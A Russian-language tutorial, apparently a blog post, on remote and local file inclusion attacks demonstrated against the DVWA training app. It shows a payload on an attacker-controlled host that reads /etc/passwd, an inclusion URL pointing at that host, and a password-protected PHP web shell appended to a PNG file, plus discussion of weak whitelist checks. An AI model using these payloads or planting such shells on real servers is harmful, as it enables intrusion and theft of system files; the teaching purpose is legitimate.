Внедрение файлов
Приветствую суперпользователь в этой статье будем анализировать атаки с использованием включения файлов и их загрузки. Хотя данные типы атак не представляют особой сложности, они по-прежнему распространены. Уязвимости, где можно применять подобного рода атаки, существовали всегда и, похоже, в ближайшее время не исчезнут. Локальное и удаленное внедрения файлов не единственные способы воспользоваться приложением и скомпрометировать его. Эти атаки можно применять, даже если разработчики ограничили загрузку исполняемого кода на стороне сервера, как увидим позже в этой статье. Существует еще удивительное количество приложений, уязвимых для локального внедрения файлов, злоупотреблений при загрузке файлов, а иногда и для удаленного внедрения.
Если вы какое-то время работали в сфере разработки корпоративных приложений, то, без сомнения, знаете, насколько часто возникают такие проблемы. Пользовательские корпоративные приложения нередко создаются сучетом сроков, а не безопасности. Корпоративные веб-приложения не единственная проблема: кошмар, связанный с интернетом вещей (IoT), только набирает обороты. Большинство доступных по цене устройств, таких как Wi-Fi-маршрутизаторы или мягкие игрушки, подключенные к интернету, плохо спроектированы и после выпуска их в продажу никогда не обновляются. Ввиду множества ограничений, как финансовых, так и с точки зрения аппаратного обеспечения, безопасность такого устройства находится на элементарном уровне, если вообще имеется. IoT-устройства – это новые PHP-приложения 2000-х годов, и уязвимости, которые, как мы думали, исчезли, активно возвращаются.
Чтобы проиллюстрировать данные проблемы, будем использовать проект Damn Vulnerable Web App (DVWA). Это конкретное приложение создано для того, чтобы с легкостью продемонстрировать самые популярные веб-уязвимости, встречающиеся на практике. Все, от инъекции команд до XSS, можно протестировать с использованием трех уровней сложности: низкого, среднего и сложного.
Удаленное внедрение файлов
Несмотря на то что уязвимости, подверженные PHP-инъекциям, не так часто встречаются в современных приложениях, время от времени они все же появляются. Удаленное включение файлов было популярно еще на заре появления интернета и PHP. PHP известен тем, что позволял разработчикам реализовывать опасные функции. Функции include() и require(), по существу, позволяли включать код из других файлов, либо с того же диска, либо по сети. Это делает веб-приложения более мощными и динамичными, но какой ценой? Передача пользовательских данных, содержащих конфиденциальную информацию, в функцию include() может скомпрометировать приложение или сервер.
Опасность внедрения файлов извне в серверный код довольно очевидна. PHP скачает внешний текст и интерпретирует его как код. Если внешний URL-адрес контролируется злоумышленником, он может с легкостью заразить приложение.
В приведенном ниже примере уязвимость можно эксплуатировать с помощью простой оболочки system(). На сервере c2.spider.ml, контролируемом злоумышленником, доступен текстовый файл, содержащий шелл-код.
root@kali:~# curl http://c2.spider.ml/test.txt
<?php system('cat /etc/passwd'); ?>
root@kali:~#
Приложение DVWA уязвимо для атаки с использованием удаленного внедрения файлов по этому адресу:
http://dvwa.app.internal/vulnerabilities/fi/
Злоумышленники могут указать произвольную страницу с помощью параметра page, например:
http://dvwa.app.internal/vulnerabilities/fi/?page=about.php
Поскольку в параметре page нет надлежащей очистки входных данных, злоумышленники могут указать любой файл, который они хотят загрузить и отобразить на сервере, в том числе внешний файл, размещенный в другом месте. Затем злоумышленники могут дать указание уязвимому приложению dvwa.app.internal внедрить внешний файл, который будет обрабатываться как PHP-код, что в основном приведет к выполнению кода.
Мы можем указать полный URL-адрес для контролируемого злоумышленником адреса http://c2.spider.ml/test.txt в качестве страницы, которая должна быть внедрена так, как показано ниже.
http://dvwa.app.internal/vulnerabilities/fi/?page=
Как упоминалось ранее, уязвимости, подверженные атакам с использованием удаленного внедрения файлов, в современных приложениях встречаются реже, но благодаря IoT-устройствам с устаревшими библиотеками и пакетами они появляются снова.
Существуют допустимые основания разрешать функции include() получать код по сети. Приложения, возможно, были спроектированы, основываясь на этом принципе, и переход в данном случае может быть слишком затратным.
С точки зрения компании дешевле оставить архитектуру в покое и просто подключить элементы управления в надежде удалить конфиденциальную информацию из входных данных, используя белый или черный список.
Управление на основе белого списка – идеальный вариант, но его трудно поддерживать в условиях меняющейся эксплуатационной среды. При частой ротации доменов и IP-адресов (например, CDN и облачная инфраструктура) может потребоваться много ресурсов, чтобы обновить белый список. Критичность приложения потребует нулевого времени простоя. Следовательно, решение должно быть автоматизировано. Тем не менее этого трудно добиться без недостатков, касающихся информационной безопасности.
Можно выбрать черный список, хотя невозможно узнать все текущие и будущие входные данные в ходе атаки. Как правило, такой способ не рекомендуется, поскольку при наличии достаточного количества времени злоумышленники могут восстановить черный список и создать обходной путь. Тем не менее черный список иногда реализуется из-за нехватки ресурсов или времени. Если для аудита требуется контроль безопасности определенного компонента приложения, но не совсем понятно, как этого добиться, возможно, при реализации черного списка удастся быстрее получить отметку о соответствии.
Средства управления для ограничения удаленного внедрения файлов могут быть реализованы на уровне сети. Исходящий сетевой трафик приложения тщательно анализируется, чтобы разрешить подключение только к известным серверам, что предотвращает включение злоумышленником кода с командно-контрольного сервера. В теории это может быть хорошим средством контроля. Использование белого списка не требует перестройки рабочего процесса приложения. Разработчики могут предоставить специалистам по сетевой безопасности список доменов, которые должны быть доступны, а все остальное – удалено.
Локальное внедрение файлов
Атаки с локальным внедрением файлов по прежнему часто используются и, вероятно, не исчезнут в ближайшее время. Нередко приложению полезно иметь возможность извлекать код из других файлов на диске. Это делает его более модульным и простым в обслуживании. Проблема возникает, когда строка, переданная в директиву include, собирается в разных частях приложения и в нее входят данные, предоставленные ненадежным пользователем.
Сочетание загрузки и внедрения файла может иметь разрушительные последствия. Если загрузим PHP-оболочку и сохраним где-то на диске вне веб-каталога, с помощью локального внедрения файлов сможем извлечь этот код и выполнить его.
DVWA можно использовать для демонстрации атак подобного типа. При настройке уровня сложности как high загрузка чего-либо запрещена, кроме файлов формата JPEG или PNG, поэтому нельзя просто получить прямой доступ к загруженной оболочке и выполнить код.root@kali:~# convert -size 32x32 xc:pink shell.png
Структура данных файла относительно проста. Заголовок PNG и несколько байтов, описывающих содержимое, автоматически генерируются командой convert. Мы можем проверить эти байты с помощью команды hexdump. Параметр -C сделает вывод более удобным для чтения.
root@sol:~# hexdump -C shell.png
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52
|.PNG........IHDR|
00000010 00 00 00 20 00 00 00 20 01 03 00 00 00 49 b4 e8
|...... .....I..|
00000020 b7 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61
|.....gAMA......a|
00000030 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80
|....cHRM..z&...|
00000040 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea
|...........u0...|
00000050 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00
|'..:....p..Q<...|
00000060 06 50 4c 54 45 ff c0 cb ff ff ff 09 44 b5 cd 00
|.PLTE.......D...|
00000070 00 00 01 62 4b 47 44 01 ff 02 2d de 00 00 00 0c
|...bKGD...-.....|
00000080 49 44 41 54 08 d7 63 60 18 dc 00 00 00 a0 00 01
|IDAT..c'........|
00000090 61 25 7d 47 00 00 00 00 49 45 4e 44 ae 42 60 82
|a%}G....IEND.B'.|
Здесь много странных данных, но все они способствуют функциональному PNG-изображению. Также оказывается, что можно добавить произвольные байты в конец файла, и у большинства программ просмотра изображений не будет проблем с визуализацией файла. Можем использовать эти знания, чтобы начинить файл PHP-кодом, который впоследствии выполнит сервер с использованием атаки методом локального внедрения файлов.
Вначале нам нужна простая PHP-оболочка, похожая на ту, что мы использовали в предыдущих главах. Ниже показан PHP-код, который мы добавим в PNG-файл.
Как и прежде, оператор if проверит, соответствует ли значение хеша MD5 входного параметра password f1aab5cd9690adfa2dde9796b4c5d00d. Если соответствует, то командная строка в параметре cmd будет передана в функцию system(), которая будет выполнять ее как системную команду, предоставляя нам доступ к оболочке.
Значение MD5, которое мы ищем, – DVWAAppLFI1, что подтверждается командой md5sum.
root@kali:~# echo -n DVWAAppLFI1 | md5sum
f1aab5cd9690adfa2dde9796b4c5d00d -
root@kali:~#
Можем использовать команду оболочки echo, чтобы добавить (>>) PHP-код в наше изображение shell.png.
root@kali:~# echo '<?php if (md5($_GET["password"]) ==
"f1aab5cd9690adfa2dde9796b4c5d00d") { system($_GET["cmd"]); } ?>' >>
shell.png
Во всех прочих отношениях это по-прежнему действительное изображение в формате PNG. У большинства программ для визуализации не должно быть проблем с отображением содержимого – небольшого розового прямоугольника, как показано ниже.
Хотя DVWA на самом деле не будет проверять, имеет ли файл действительный PNG-заголовок, некоторые приложения могут это сделать. Даже если в веб-приложении используется более умная проверка, нежели обычная проверка типа «имя файла оканчивается на .png?», наша оболочка должна пройти незамеченной.
DVWA любезно сообщает нам, где приложение хранит наш файл. В реальной ситуации нас не обязательно будет ждать такая удача. Нам бы пришлось полагаться на утечки информации об абсолютном пути, если бы этого требовала уязвимость. Если можем использовать относительные пути в ходе атаки методом включения файлов, то можно попытаться найти файл на диске, систематически перемещаясь по файловой системе
Чтобы применить свою PNG-оболочку, воспользуемся уязвимостью на странице http://dvwa.app.internal/vulnerabilities/fi/. Локально внедряемый файл присутствует в параметре page запроса методом GET. Приложение позволяет внедрять несколько файлов с диска – предположительно для того, чтобы быть более модульным и простым в управлении.
Внедрение файлов – простая процедура. По сути, она позволяет пользователю указать файл на диске, который должен быть внедрен. Существует рядэлементов управления безопасностью, которые не позволяют нам внедрять любой файл. Учитывая, что это проект DVWA, мы можем проверить источник приложения и просмотреть условия, при которых элемент управления может запретить нам доступ к нашей оболочке.
А вот так выглядит код, который поможет обезопасить приложение от подобной атаки:
<?php
$file = $_GET[ 'page' ];
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
echo "ERROR: File not found";
exit;
}
?>
На первый взгляд это довольно строгий контроль, но тут есть проблемы. Данная конкретная реализация иллюстрирует важную проблему, связанную с разработкой приложений и безопасностью. Стремясь предотвратить атаки методом внедрения, разработчики использовали белый список, но из-за нехватки времени и больших расходов на обслуживание они решили прибегнуть к сопоставлению строк, а не явного списка файлов. В идеале пользовательский ввод вообще никогда нельзя передавать в функцию include (или аналогичную). Жестко кодируемые значения более безопасны, но таким кодом сложнее управлять. Всегда есть компромисс между безопасностью и удобством использования, и, будучи пентестерами, мы делаем ставку на более экономичный и, как правило, более небезопасный вариант.
Я думаю, сейчас на этом можно остановиться, но это не все возможности использования атак с возможностью загрузки файлов, но об этом еще по говорим в будущем. У меня на сегодня все суперпользователь.
До связи.